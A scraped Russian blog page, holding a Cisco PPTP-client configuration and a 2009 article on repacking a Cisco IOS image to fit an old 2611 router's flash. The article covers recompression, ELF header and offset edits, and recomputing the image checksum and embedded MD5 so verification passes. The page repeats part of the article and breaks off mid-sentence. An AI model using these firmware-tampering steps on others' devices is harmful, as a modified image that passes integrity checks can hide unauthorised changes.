service internal
!
no ip gratuitous-arps
ip cef
!
ip multicast-routing
vpdn enable
!
vpdn-group 1
request-dialin
protocol pptp
rotary-group 1
initiate-to ip 172.28.254.21
!
!
interface FastEthernet 0/0
ip dhcp
!
interface Dialer1
mtu 1450
ip address negotiated
ip pim dense-mode
encapsulation ppp
dialer in-band
dialer idle-timeout 0
dialer string 123
dialer vpdn
dialer-group 1
ppp pfc local request
ppp pfc remote apply
ppp encrypt mppe auto
ppp chap hostname myusername
ppp chap password 0 mypassword
!
ip forward-protocol nd
ip route 0.0.0.0 0.0.0.0 Dialer1
ip route 172.28.254.21 255.255.255.255 FastEthernet0/0
!
!
dialer-list 1 protocol ip permit
!
end
I'm Cisco Champion Community member for 2017!
"Cisco Champions are passionate about Cisco and happy to share our knowledge, experience, and feedback."
Обо мне
воскресенье, 3 мая 2009 г.
Маршрутизатор Cisco как PPTP клиент
Собственно, не совсем стандартная задача - заставить маршрутизатор Cisco с ios 12.4 работать в качестве pptp-клиента. В данном примере 172.28.254.21 - pptp-сервер, а myusername и mypassword - соответственно имя пользователя и пароль. Адреса интерфейс получает по dhcp:
суббота, 18 апреля 2009 г.
Перепаковка Cisco IOS или Исследования на тему юзабильности устаревшего оборудования Cisco
Статья была опубликована в журнале "Хакер" номер #124 за апрель 2009 года.
Эта версия оригинальная и не исправленная редакторами.
Статья, которая была создана изначально в целях систематизации своих изысканий, затем переросла в блогопост, ну и вот затем только в конечный вариант. Just4Fun.
Приветствую, дорогой читатель! Сегодня мы будем давать вторую молодость, а может даже жизнь старым маршрутизаторам Cisco.
Имеем исходные данные: старенькая кошка Cisco 2611 c двумя Ethernet(!) портами, 64 Мб RAM и 16 MB на flash. Эти параметры являются максимально возможными из поддерживаемых данной платформой (читай — увеличить объем DRAM памяти и flash физически не представляется возможным из-за отсутствия в природе комплектующих больших объемов). Исходя из данных Cisco IOS Feature Navigator (http://tools.cisco.com/ITDIT/CFN/jsp/index.jsp) последней версией IOS для данного маршрутизатора является 12.3(26), что естественного для столь старого продукта (End-of-Sale - апрель 2003, End-of-Life – апрель 2008). Однако, иногда хочется получить только все самое последнее и новое, а все самое новое и вкусное доступно только в версии 12.4 (точнее 12.4T). Посыл номер два, или дополнительные исходные данные: если внимательно следить за модельным рядом маршрутизаторов Cisco или просто хорошо ознакомиться с информацией о продуктах на официальным сайте, то можно обнаружить что серия 2600 включает в себя, например, маршрутизаторы 2611XM. Отличается эта серия от своего предшественника незначительно:
- Максимальный объем flash-памяти увеличен до 48 MB (в 2611 — 16 MB)
- Максимальный объем SDRAM-памяти увеличен до 128 MB (в 2611 — 64 MB)
- Интегрированные 10/100 Fast Ethernet порты (в 2611 — 10 Мбит/c Ethernet)
Для такой кошки Cisco IOS Feature Navigator сообщит, что последний IOS за версией 12.4(23).
Системные требования для IOS 12.4(21) с набором Enterprise Base или Advanced Security составляют 128 MB DRAM и 32 MB flash. Конечно, у нас нет 128 MB памяти, но попытка не пытка, да и пропускная способность портов у нас невысокая, что позволяет сделать предположение о том, что ОС возможно запустить на моем устройстве. Осталось предположения превратить в практику.
Идея проста - загнать бинарный образ операционной системы Cisco IOS 12.4(21) с набором фьючерсов Enterprise Base на старенький маршрутизатор 2611 c исходными данными, представленными выше и в последующем использовать его как тестовый стенд, ибо 10-ти мегабитные интерфейсы ограничивают его применение в дикой природе, или, как говорится, in production. Хотя с таким же успехом это устройство может надежно служить файрволлом корпоративной сети взамен какого-нибудь PIX, если, конечно, достаточно пропускной способности в 10 Мбит, но тогда встает вопрос — а есть ли такой функционал, который может вам потребоваться в IOS 12.4, но которого нет в 12.3? За подсказкой вновь отправляю к Cisco IOS Feature Navigator (http://tools.cisco.com/ITDIT/CFN/Dispatch). Утилита сравнения образов вам в помощь, но ответ скорее всего будет - нет. Отсюда вывод — не стоит меня корить в малой практичности данной статьи, так как изначально она в большей степени исследовательская (jus for fun), чем практическая.
Возвращаясь от лирических отступлений к делу, скажу, что у меня не возникла бы потребность в написании статьи, если бы не одна, а точее две небольших проблемы. О первой из них я уже упомянул — это объем DRAM памяти. К сожалению, я не повелитель паяльника и вольтметра, так что здесь поделать ничего не можем. Стоит только надеяться, что ОС не уйдет в core в самый ответственный момент из-за недостатка пямяти. Вторая проблема, которая застигла меня врасплох — это размер самого образа образа IOS 12.4 и тот факт, что он не помещается на флеш объемом 16 МB. Этот образ принципиально туда не помещается из за своего размера, точнее сам маршрутизатор глаголет, что данный образ не поместится, и неудивительно. Файл образа — c2600-entbasek9-mz.124-9.T1.bin , который я взял для эксперимента, занимает 16,4 MB, то есть 17 257 364 байт. Флеш же размером 16 MB ровно (show flash: сообщает, что всего 16777212 байт или 16384K). Даже если стереть флеш с опцией no-squeeze-reserve-space:
router#erase /no-squeeze-reserve-space flash:
это нам не поможет, хотя в свое время для образа c2600-ik9o3s3-mz.123-13.bin являлось решением проблемы (этот образ чуть меньше размера самой флеш и для его загрузки требуется отформатировать ее с опцией, запрещающей резервировать свободное место).
Таким образом, решения здесь может быть два - грузиться с tftp, например, что не всегда удобно, либо же похекать образ так, чтобы его размер стал меньше, грубо говоря перепаковать (что, собственно, и было отчасти сделано). Посылом номер три является эмулятор Dynamips. Причем он здесь? А притом, что именно он натолкнул меня на мысль о перепаковке образа. Если взглянуть на раздел «How to use?» на официальном сайте проекта (http://www.ipflow.utc.fr/index.php/Cisco_7200_Simulator), то можно обнаружить, что эмулятор использует распакованные образы для ускорения загрузки:
…
To boot quickly, the preferred method is to decompress the IOS image with the "unzip" utility. It avoids to run the self-decompressing process in the emulator.
chris@portchris2:~/dynamips-0.2.5$ unzip -p c7200-advipservicesk9-mz.124-9.T.bin > image.bin
warning [c7200-advipservicesk9-mz.124-9.T.bin]: 27904 extra bytes at beginning or within zipfile
(attempting to process anyway)
chris@portchris2:~/dynamips-0.2.5$ file image.bin
image.bin: ELF 32-bit MSB executable, cisco 7200, version 1 (SYSV), statically linked, stripped
You can ignore the warning, unzip has just skipped the self-decompressing code at the beginning of the image.
Now, you can boot the imagе
…
Значит, если есть запакованный образ, то можно попытаться использовать более оптимальные параметры(!) сжатия, которые позволят разместить образ на флеш. Обращаю внимание на одну важную деталь — так как мы не собираемся переписывать самораспаковывающися код, то есть заниматься дизассемблированием, да и ассемблер под 32х битные процессоры PowerPC я не знаю (да и под 64х битные тоже), то сам алгоритм сжатия менять мы не сможем. Самораспаковывающаяся часть просто не сможет распаковать архивы, сжатые другими методами. По поводу используемого в образе алгоритма сжатия можно взглянуть сюда: Cisco IOS Configuration Fundamentals Configuration Guide, Release 12.4 - Loading and Managing System Images, пункт Image Naming Conventions. Поле «тип» в имени образа как раз отвечает за его характеристики:
f - The image runs from flash memory.
m - The image runs from RAM.
r - The image runs from ROM.
l - The image is relocatable.
z - The image is zip compressed.
x -The image is mzip compressed.
В нашем случае образ имеет тип mz – работает в памяти и запакован как раз в zip-архив. Убедиться в этом просто — большинство архиваторов (WinZIP, WinRAR, 7zip) c легкостью открывают и распаковывают архив.
Не мудрствуя лукаво, пытаемся перепаковать архив заново с максимально возможной степенью сжатия. Сразу же отмечаем, что используемый метод — deflate и изменить его не получится. Я использовал 4 архиватора, чтобы сравнить их и получил следующий результат:
7-zip 4.65 со следующими параметрами:
Формат архива — zip
Уровень сжатия — Ультра
Метод сжатия — Deflate
Размер словаря — 32КB
Размер слова — 258
В результате был получен архив следующих размеров: 15,7 MB (16 489 764 bytes)
WinZIP 11.2 при использовании улучшенного метода Deflate выдал файл размером 16,0 MB (16 803 634 bytes)
WinRAR 3.80 формат архива — zip с наилучшими параметрами сжатия: 16,3 MB (17131 353 bytes)
PKZIP 9.00 от создателей формата совсем подвел, и по методу Deflate с максимальным сжатием произвел файл, размером 16,3 MB (17 094 474 bytes).
Итогом моего небольшого сравнительного тестирования стал выбор для экспериментов архива, как нетрудно догадаться, созданного 7zip. Далее требуется этот архив поместить вместо оригинального образа. Чтобы проделать это, нам понадобится шестнадцатеричный редактор типа WinHex, HT Editor или hview. Я предпочитаю WinHex, но нам понадобится еще и HT, чуть позже объясню почему.
Как вы можете видеть на скриншоте, скорее всего бинарный образ IOS есть ничто иное, как исполняемый файл в формате ELF (Executable and Linkable Formate). ELF-формат является основным исполняемым файлом в *nix-like системах, неудивительно встретить его здесь. По ELF-формату существует четкая спецификация, последняя версия которой 1.2, однако для наших целей будет достаточно, например, заголовочного файла из состава libc - elf.h. Обычный бинарный ELF файл представляет собой структуру следующего вида:
ELF Header
Program Header Table (optional)
Section 1
Section 2
…
Section n
Section Header Table
Не углубляясь в описание, дабы не повторяться, отправляю вас к спецификации.
Так как весь процесс исследования я проводил в MS Windows, то пришлось искать замену утилите readelf из состава binutils. Этой заменой и оказался шестнадцатеричный редактор HT (http:///hte.sf.net), который умеет читать и модифицировать структуры данных исполняемых файлов ELF. При попытке открыть подопытный образ c2600-entbasek9-mz.124-9.T1.bin, HT сразу меня обругал, что и привлекло мое внимание. Обратимся к elf.h, структура данных, отвечающая за ELF-заголовок выглядит так:
typedef struct {
Elf_Char e_ident[EI_NIDENT];
Elf32_Half e_type;
Elf32_Half e_machine;
Elf32_Word e_version;
Elf32_Addr e_entry;
Elf32_Off e_phoff;
Elf32_Off e_shoff;
Elf32_Word e_flags;
Elf32_Half e_ehsize;
Elf32_Half e_phentsize;
Elf32_Half e_phnum;
Elf32_Half e_shentsize;
Elf32_Half e_shnum;
Elf32_Half e_shstrndx;
} Elf32_Ehdr;
В нашем случае поле e_machine имеет значение 0x002b или 43, что соответствует процессору SPARC v9:
#define EM_SPARCV9 43 /* SPARC v9 64-bit */
Однако нам известно, что маршрутизатор 2611 использует процессор Motorolla MPC860, значит поле должно иметь значение 0x0014, что соответствует:
#define EM_PPC 20 /* PowerPC */
Скорее всего, это есть простейшая защита от дизассемблирования образа, однако нам это не сильно помешает. С помощью F6 открываем режим просмотра elf/header. Из него нам становятся известны следующие подробности:
- elf header size 0x34
- program header entry size 0x20
- program header count 1
- section header entry size 0x28
- section header count 6
Что в сумме нам дает размер 52+32+6*40=324 или 0x144.
То есть в файле всего 6 секций (соответственно 6 заголовков секций) и 1 заголовок программы. Вероятнее всего одна из секций предназначена для хранения архива с исполняемым образом IOS. Эту секцию можно вычислить либо по размеру (логично, что ее размер должен быть максимальным), либо по типу секции. Заголовок таблицы секций можно просмотреть, нажав F6 и выбрав elf/section headers, но для начала обратимся к описанию секции:
typedef struct {
Elf32_Word sh_name;
Elf32_Word sh_type;
Elf32_Word sh_flags;
Elf32_Addr sh_addr;
Elf32_Off sh_offset;
Elf32_Word sh_size;
Elf32_Word sh_link;
Elf32_Word sh_info;
Elf32_Word sh_addralign;
Elf32_Word sh_entsize;
} Elf32_Shdr;
Поле sh_type и будет отвечать за искомый тип. К сожалению здесь меня ждал облом, большинство из секций имело тип SHT_PROGBITS, предназначенный для секций, значение которых определяется самой программой. Однако 4-я секция, имела тип отличный от предыдущих и имела значение 0x00000007, секция предназначена для каких-либо программных заметок. Первая (нулевая) секция также имеет отличный от предыдущих тип (SHT_NULL), исходя из этого становится ясно что она пустая и ни с чем не ассоциирована. В итоге приходится искать секцию с максимальным размером (поле sh_size), ее оказывается секция за номером пять, ее размер 0x1070e7c или 17239676 байт. Вернемся к hex-виду (F6 - hex) и перейдем по смещению (поле sh_offset) с помощью кнопки F5:
И что же мы здесь видим? Где же наш архив, который должен начинаться с сигнатуры PK, а точнее если следовать спецификации PKZIP-формата (http://www.pkware.com/documents/casestudies/APPNOTE.TXT) 0x04034b50 в обратном порядке? Как не странно эта сигнатура обнаруживается на 22 байта позже. Однако, если хорошо присмотреться, то отказывается, что сразу за значением 0xFEEDFACE идет размер распакованного образа 0x02AED904. Если внимательно поискать в Сети, то можно наткнуться на информацию из книги Cisco Networks Hacking Exposed издательства McGraw-Hill/Osborne. Наши русские парни Andrew A. Vladimirov, Konstantin V. Gavrilenko, Janis N. Vizulis and Andrei A. Mikhailovsky еще в 2006 году занимались разработкой бинарного патчинга IOS 12.3(6). Им удалось выяснить что после магического значения 0xFEEDFACE идут последовательно uncompressed image size, compressed image size, compressed image checksum, uncompressed image checksum. Помимо этого, им стало известно, что алгоритм вычисления контрольной суммы представляет собой модифицированный алгоритм контрольной суммы в Интернет, однако нам, к счастью, не придется их вычислять — как проверено позже на практике,маршрутизатор сам скажет нам какое значение должно иметь это поле, если конечно подсчитанная контрольная сумма и записанная в соответствующем поле не совпадут:
Error : compressed image checksum is incorrect 0xB99D8823
Expected a checksum of 0xF6F69877
*** System received a Software forced crash ***
signal= 0x17, code= 0x5, context= 0x800805f0
PC = 0x0, Vector = 0x0, SP = 0x0
Итак, перейдем к активным действиям. Для начала вырезаем из файла старую 4ю секцию, содержащую zip архив за исключением 20 байт, начиная с магического значения 0xFEEDFACE до сигнатуры zip не включая, то есть со смещения 0x44F8 по смещение 0x1075360 + 0x44F8. Затем по смещению 0x44F8 вставляем новый архив.
Соединим всю известную нам информацию воедино. Размер старой секции (№5), содержащей архив с образом IOS, загружаемым в память 0x1070e7c или 17239676 (включая 20 байт с 0xFEEDFACE по 0x504B0304 не включая). Размер новой секции, содержащей архив 0xFB9D38 или 16489784 (опять же включая те 20 байт). Разница между старым и новым значением составит 0xB7158 — 749912. То есть смещение 4й секции, физически расположенной в файле после 5й секции, требуется изменить с 0x1075360 на 0xFBE208.
Старые значения после магической записи 0xFEEDFACE:
unpacked image size: 0x02AED904 45013252
packed image size: 0x01070E66 17239654 (разница с размером 5й секции - на 22 байта меньше)
packed image checksum: 0xB58BE139
unpacked image checksum: 0xA29D4F6E
затем идет сигнатура: 0x504B0304
Новые значения после магической записи 0xFEEDFACE:
unpacked image size: 0x02AED904 (остался тот же)
packed image size: 0x00FB9D22 16489762 (разница с размером 5й секции - на 22 байта меньше)
packed image checksum: нам неизвестна, можно заменить на что-нибудь приметное, типа 0x48000000
unpacked image checksum: 0xA29D4F6E (остался тот же)
Новую контрольную сумму, как я уже говорил, сообщит сам маршрутизатор.
После всех манипуляций конечный образ был получен, однако размер его меня не впечатлил. К сожалению, по сравнению с изначальным размером 16,4 MB (17257364 bytes) я получил всего лишь 15,7 MB (16507472 bytes), то есть разница, которую я уже посчитал выше, составила 749912 байт. Конечно, это позволит загрузить образ на flash, но скорее всего придется применять опцию /no-squeeze-reserve-space. Однако, когда при копировании маршрутизатор запросит повторное стирание flash, подтверждать действие не нужно:
router#erase /no-squeeze-reserve-space flash:
Erasing the flash filesystem will remove all files! Continue? [confirm]
Erasing device... eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee eeeeeeeeeeeeee ...erased
Erase of flash: complete
router#copy tftp://172.22.1.17/c2600-entbasek9-mz.124-9.T1-shad-pk.bin flash:
Destination filename [c2600-entbasek9-mz.124-9.T1-shad-pk.bin]?
Accessing tftp://172.22.1.17/c2600-entbasek9-mz.124-9.T1-shad-pk.bin...
Erase flash: before copying? [confirm]n
Loading c2600-entbasek9-mz.124-9.T1-shad-pk.bin from 172.22.1.17 (via Ethernet0/0): !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!![OK - 16507472 bytes]
Verifying checksum... CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC OK (0xE6ED)
16507472 bytes copied in 178.188 secs (92641 bytes/sec)
router#reload
Proceed with reload? [confirm]
Естественно, такая ситуация была бы только в том случае, если образ был бы сформирован правильно. Поэтому я не стал спешить, и для загрузки образа защел в режим rommon по Ctrl+Break, затем со своего компьютера загрузил образ по tftp напрямую в RAM:
rommon 1>tftpdnld -r
После загрузки маршрутизатор сказал:
TFTP flash copy: Error, image size (16507470) mismatches netsize (16507472).
Оказалось, что при редактировании размера 5й секции я ошибся на 2 байта (те самые 20 байт с 0xFEEDFACE + 2).
После второй попытки загрузки выяснилось, что контрольная сумма запакованного образа — 0xB0257B0D:
Error : compressed image checksum is incorrect 0xB99D8823
Expected a checksum of 0x48000000
*** System received a Software forced crash ***
signal= 0x17, code= 0x5, context= 0x800805f0
PC = 0x0, Vector = 0x0, SP = 0x0
Корректируем соответствующее поле после 0xFEEDFACE (Загружаем файл в HT по F3, переходим по смещению с помощью F5 и редактируем по F4, не забывая сохраняться по F2), затем снова грузимся.
rommon 4>reset -s
Дальше соответственно все ок, однако затем IOS вываливается, и отказывается работать по причине недостатка памяти:
System Bootstrap, Version 11.3(2)XA4, RELEASE SOFTWARE (fc1)
Copyright (c) 1999 by cisco Systems, Inc.
TAC:Home:SW:IOS:Specials for info
PC = 0xfff0a530, Vector = 0x500, SP = 0x680127c8
PC = 0xfff0a530, Vector = 0x500, SP = 0x680127b0
C2600 platform with 65536 Kbytes of main memory
PC = 0xfff0a530, Vector = 0x500, SP = 0x80004684
monitor: command "boot" aborted due to user interrupt
rommon 1 > tftpdnld -r
IP_ADDRESS: 172.22.1.199
IP_SUBNET_MASK: 255.255.255.0
DEFAULT_GATEWAY: 172.22.1.1
TFTP_SERVER: 172.22.1.17
TFTP_FILE: c2600-entbasek9-mz.124-9.T1-shad-pk.bin
Receiving c2600-entbasek9-mz.124-9.T1-shad-pk.bin from 172.22.1.17 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!
File reception completed.
program load complete, entry point: 0x80008000, size: 0xfbe0d8
Self decompressing the image : ################################################## ################################################## ################################################## ## [OK]
Smart Init is enabled
smart init is sizing iomem
ID MEMORY_REQ TYPE
000092 0X000B3280 C2600 Dual Ethernet
0X00098670 public buffer pools
0X00211000 public particle pools
TOTAL: 0X0035C8F0
If any of the above Memory Requirements are
"UNKNOWN", you may be using an unsupported
configuration or there is a software problem and
system operation may be compromised.
Rounded IOMEM up to: 3Mb.
Using 5 percent iomem. [3Mb/64Mb]
Cisco IOS Software, C2600 Software (C2600-ENTBASEK9-M), Version 12.4(9)T1, RELEASE SOFTWARE (fc2)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2006 by Cisco Systems, Inc.
Compiled Wed 30-Aug-06 15:43 by prod_rel_team
Image text-base: 0x800080E4, data-base: 0x81B46C00
SYSTEM INIT: INSUFFICIENT MEMORY TO BOOT THE IMAGE!
%Software-forced reload
00:00:16 UTC Fri Mar 1 2002: Unexpected exception to CPUvector 700, PC = 0x8069DE48, LR = 0x8069DD88
-Traceback= 0x8069DE48 0x8069DD88 0x80014B10 0x81B3BAA4 0x8170812C 0x817082A4 0x816E3D68 0x816E3DF4 0x816E3ED4 0x816E3E38 0x816E3ED4 0x816E3E38 0x816E3ED4 0x816E4A1C 0x8171AB4C 0x81729008
CPU Register Context:
MSR = 0x00029032 CR = 0x33000095 CTR = 0x806A2518 XER = 0x8000FE00
R0 = 0x00000000 R1 = 0x82EDD858 R2 = 0x82AF0000 R3 = 0x00000003
R4 = 0xFFFFFFFE R5 = 0x00000000 R6 = 0x00000003 R7 = 0x00009032
R8 = 0x82AF0000 R9 = 0x82820000 R10 = 0x82BBCC50 R11 = 0x00000000
R12 = 0x00004117 R13 = 0xFFF48A24 R14 = 0x80A82090 R15 = 0x00000000
R16 = 0x00000000 R17 = 0x00000000 R18 = 0x00000000 R19 = 0x00000000
R20 = 0x00000000 R21 = 0x00000000 R22 = 0x81B47998 R23 = 0x00000000
R24 = 0x81B47A48 R25 = 0x81708128 R26 = 0x81708128 R27 = 0x00002814
R28 = 0x00000000 R29 = 0x82C8F368 R30 = 0x00000000 R31 = 0x82AF0000
Writing crashinfo to flash:crashinfo_20020301-000016
Однако, здесь я не расстроился, и решил взяться за другой образ — c2600-advsecurityk9-mz.124-21.bin. После аналогичных манипуляций с байтами, даже при использовании 128 битного слова в 7zip, размер составил 15947076 (против изначального размера 16635336), что позволило загрузить его во flash. Помимо прочего, этот образ уже не ругался на недостаток памяти RAM и прекрасно чувствовал себя на этой платформе:
router#show version
Cisco IOS Software, C2600 Software (C2600-ADVSECURITYK9-M), Version 12.4(21), RELEASE SOFTWARE (fc1)
router#show memory summary
Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
Processor 82A44240 20244772 8718640 11526132 10171028 10098348
I/O 3CA3400 3525632 1650536 1875096 1875096 1875068
router#show flash:
System flash directory:
File Length Name/status
1 15947076 c2600-advsecurityk9-mz.124-21-shad-pk.bin
[15947140 bytes used, 830072 available, 16777212 total]
16384K bytes of processor board System flash (Read/Write)
Однако, у нас остается еще одна небольшая проблема. Если запустить проверку:
router#verify flash:c2600-advsecurityk9-mz.124-21-shad-pk.bin
Маршрутизатор обругает нас, сообщив, что Embedded hash и Calculated hash не совпадают. Исправить это очень просто — 16 байт контрольной суммы находится в самом конце бинарного файла образа. Обнаружить это можно даже с помощью простого поиска:
После исправления маршрутизатор сообщает, что контрольная сумма успешно подсчитана и совпадает:
Embedded Hash MD5 : 3DD2C6591FF4F033425147DE4540F9CD
Computed Hash MD5 : 3DD2C6591FF4F033425147DE4540F9CD
CCO Hash MD5 : 79020945BDFE2A354E012C8303136360
Embedded hash verification successful.
File system hash verification successful.
Вот и все, новый образ готов и правильно сформирован. На этом мои изыскания успешно заканчиваются, а все вопросы, пожелания и в особенности идеи, мой дорогой читатель, я готов получить по электронной почте. С радостью отвечу на них и помогу по мере сил. Удачи в бинарном патчинге и не только.
Эта версия оригинальная и не исправленная редакторами.
Статья, которая была создана изначально в целях систематизации своих изысканий, затем переросла в блогопост, ну и вот затем только в конечный вариант. Just4Fun.
Приветствую, дорогой читатель! Сегодня мы будем давать вторую молодость, а может даже жизнь старым маршрутизаторам Cisco.
Имеем исходные данные: старенькая кошка Cisco 2611 c двумя Ethernet(!) портами, 64 Мб RAM и 16 MB на flash. Эти параметры являются максимально возможными из поддерживаемых данной платформой (читай — увеличить объем DRAM памяти и flash физически не представляется возможным из-за отсутствия в природе комплектующих больших объемов). Исходя из данных Cisco IOS Feature Navigator (http://tools.cisco.com/ITDIT/CFN/jsp/index.jsp) последней версией IOS для данного маршрутизатора является 12.3(26), что естественного для столь старого продукта (End-of-Sale - апрель 2003, End-of-Life – апрель 2008). Однако, иногда хочется получить только все самое последнее и новое, а все самое новое и вкусное доступно только в версии 12.4 (точнее 12.4T). Посыл номер два, или дополнительные исходные данные: если внимательно следить за модельным рядом маршрутизаторов Cisco или просто хорошо ознакомиться с информацией о продуктах на официальным сайте, то можно обнаружить что серия 2600 включает в себя, например, маршрутизаторы 2611XM. Отличается эта серия от своего предшественника незначительно:
- Максимальный объем flash-памяти увеличен до 48 MB (в 2611 — 16 MB)
- Максимальный объем SDRAM-памяти увеличен до 128 MB (в 2611 — 64 MB)
- Интегрированные 10/100 Fast Ethernet порты (в 2611 — 10 Мбит/c Ethernet)
Для такой кошки Cisco IOS Feature Navigator сообщит, что последний IOS за версией 12.4(23).
Системные требования для IOS 12.4(21) с набором Enterprise Base или Advanced Security составляют 128 MB DRAM и 32 MB flash. Конечно, у нас нет 128 MB памяти, но попытка не пытка, да и пропускная способность портов у нас невысокая, что позволяет сделать предположение о том, что ОС возможно запустить на моем устройстве. Осталось предположения превратить в практику.
Идея проста - загнать бинарный образ операционной системы Cisco IOS 12.4(21) с набором фьючерсов Enterprise Base на старенький маршрутизатор 2611 c исходными данными, представленными выше и в последующем использовать его как тестовый стенд, ибо 10-ти мегабитные интерфейсы ограничивают его применение в дикой природе, или, как говорится, in production. Хотя с таким же успехом это устройство может надежно служить файрволлом корпоративной сети взамен какого-нибудь PIX, если, конечно, достаточно пропускной способности в 10 Мбит, но тогда встает вопрос — а есть ли такой функционал, который может вам потребоваться в IOS 12.4, но которого нет в 12.3? За подсказкой вновь отправляю к Cisco IOS Feature Navigator (http://tools.cisco.com/ITDIT/CFN/Dispatch). Утилита сравнения образов вам в помощь, но ответ скорее всего будет - нет. Отсюда вывод — не стоит меня корить в малой практичности данной статьи, так как изначально она в большей степени исследовательская (jus for fun), чем практическая.
Возвращаясь от лирических отступлений к делу, скажу, что у меня не возникла бы потребность в написании статьи, если бы не одна, а точее две небольших проблемы. О первой из них я уже упомянул — это объем DRAM памяти. К сожалению, я не повелитель паяльника и вольтметра, так что здесь поделать ничего не можем. Стоит только надеяться, что ОС не уйдет в core в самый ответственный момент из-за недостатка пямяти. Вторая проблема, которая застигла меня врасплох — это размер самого образа образа IOS 12.4 и тот факт, что он не помещается на флеш объемом 16 МB. Этот образ принципиально туда не помещается из за своего размера, точнее сам маршрутизатор глаголет, что данный образ не поместится, и неудивительно. Файл образа — c2600-entbasek9-mz.124-9.T1.bin , который я взял для эксперимента, занимает 16,4 MB, то есть 17 257 364 байт. Флеш же размером 16 MB ровно (show flash: сообщает, что всего 16777212 байт или 16384K). Даже если стереть флеш с опцией no-squeeze-reserve-space:
router#erase /no-squeeze-reserve-space flash:
это нам не поможет, хотя в свое время для образа c2600-ik9o3s3-mz.123-13.bin являлось решением проблемы (этот образ чуть меньше размера самой флеш и для его загрузки требуется отформатировать ее с опцией, запрещающей резервировать свободное место).
Таким образом, решения здесь может быть два - грузиться с tftp, например, что не всегда удобно, либо же похекать образ так, чтобы его размер стал меньше, грубо говоря перепаковать (что, собственно, и было отчасти сделано). Посылом номер три является эмулятор Dynamips. Причем он здесь? А притом, что именно он натолкнул меня на мысль о перепаковке образа. Если взглянуть на раздел «How to use?» на официальном сайте проекта (http://www.ipflow.utc.fr/index.php/Cisco_7200_Simulator), то можно обнаружить, что эмулятор использует распакованные образы для ускорения загрузки:
…
To boot quickly, the preferred method is to decompress the IOS image with the "unzip" utility. It avoids to run the self-decompressing process in the emulator.
chris@portchris2:~/dynamips-0.2.5$ unzip -p c7200-advipservicesk9-mz.124-9.T.bin > image.bin
warning [c7200-advipservicesk9-mz.124-9.T.bin]: 27904 extra bytes at beginning or within zipfile
(attempting to process anyway)
chris@portchris2:~/dynamips-0.2.5$ file image.bin
image.bin: ELF 32-bit MSB executable, cisco 7200, version 1 (SYSV), statically linked, stripped
You can ignore the warning, unzip has just skipped the self-decompressing code at the beginning of the image.
Now, you can boot the imagе
…
Значит, если есть запакованный образ, то можно попытаться использовать более оптимальные параметры(!) сжатия, которые позволят разместить образ на флеш. Обращаю внимание на одну важную деталь — так как мы не собираемся переписывать самораспаковывающися код, то есть заниматься дизассемблированием, да и ассемблер под 32х битные процессоры PowerPC я не знаю (да и под 64х битные тоже), то сам алгоритм сжатия менять мы не сможем. Самораспаковывающаяся часть просто не сможет распаковать архивы, сжатые другими методами. По поводу используемого в образе алгоритма сжатия можно взглянуть сюда: Cisco IOS Configuration Fundamentals Configuration Guide, Release 12.4 - Loading and Managing System Images, пункт Image Naming Conventions. Поле «тип» в имени образа как раз отвечает за его характеристики:
f - The image runs from flash memory.
m - The image runs from RAM.
r - The image runs from ROM.
l - The image is relocatable.
z - The image is zip compressed.
x -The image is mzip compressed.
В нашем случае образ имеет тип mz – работает в памяти и запакован как раз в zip-архив. Убедиться в этом просто — большинство архиваторов (WinZIP, WinRAR, 7zip) c легкостью открывают и распаковывают архив.
Не мудрствуя лукаво, пытаемся перепаковать архив заново с максимально возможной степенью сжатия. Сразу же отмечаем, что используемый метод — deflate и изменить его не получится. Я использовал 4 архиватора, чтобы сравнить их и получил следующий результат:
7-zip 4.65 со следующими параметрами:
Формат архива — zip
Уровень сжатия — Ультра
Метод сжатия — Deflate
Размер словаря — 32КB
Размер слова — 258
В результате был получен архив следующих размеров: 15,7 MB (16 489 764 bytes)
WinZIP 11.2 при использовании улучшенного метода Deflate выдал файл размером 16,0 MB (16 803 634 bytes)
WinRAR 3.80 формат архива — zip с наилучшими параметрами сжатия: 16,3 MB (17131 353 bytes)
PKZIP 9.00 от создателей формата совсем подвел, и по методу Deflate с максимальным сжатием произвел файл, размером 16,3 MB (17 094 474 bytes).
Итогом моего небольшого сравнительного тестирования стал выбор для экспериментов архива, как нетрудно догадаться, созданного 7zip. Далее требуется этот архив поместить вместо оригинального образа. Чтобы проделать это, нам понадобится шестнадцатеричный редактор типа WinHex, HT Editor или hview. Я предпочитаю WinHex, но нам понадобится еще и HT, чуть позже объясню почему.
Как вы можете видеть на скриншоте, скорее всего бинарный образ IOS есть ничто иное, как исполняемый файл в формате ELF (Executable and Linkable Formate). ELF-формат является основным исполняемым файлом в *nix-like системах, неудивительно встретить его здесь. По ELF-формату существует четкая спецификация, последняя версия которой 1.2, однако для наших целей будет достаточно, например, заголовочного файла из состава libc - elf.h. Обычный бинарный ELF файл представляет собой структуру следующего вида:
ELF Header
Program Header Table (optional)
Section 1
Section 2
…
Section n
Section Header Table
Не углубляясь в описание, дабы не повторяться, отправляю вас к спецификации.
Так как весь процесс исследования я проводил в MS Windows, то пришлось искать замену утилите readelf из состава binutils. Этой заменой и оказался шестнадцатеричный редактор HT (http:///hte.sf.net), который умеет читать и модифицировать структуры данных исполняемых файлов ELF. При попытке открыть подопытный образ c2600-entbasek9-mz.124-9.T1.bin, HT сразу меня обругал, что и привлекло мое внимание. Обратимся к elf.h, структура данных, отвечающая за ELF-заголовок выглядит так:
typedef struct {
Elf_Char e_ident[EI_NIDENT];
Elf32_Half e_type;
Elf32_Half e_machine;
Elf32_Word e_version;
Elf32_Addr e_entry;
Elf32_Off e_phoff;
Elf32_Off e_shoff;
Elf32_Word e_flags;
Elf32_Half e_ehsize;
Elf32_Half e_phentsize;
Elf32_Half e_phnum;
Elf32_Half e_shentsize;
Elf32_Half e_shnum;
Elf32_Half e_shstrndx;
} Elf32_Ehdr;
В нашем случае поле e_machine имеет значение 0x002b или 43, что соответствует процессору SPARC v9:
#define EM_SPARCV9 43 /* SPARC v9 64-bit */
Однако нам известно, что маршрутизатор 2611 использует процессор Motorolla MPC860, значит поле должно иметь значение 0x0014, что соответствует:
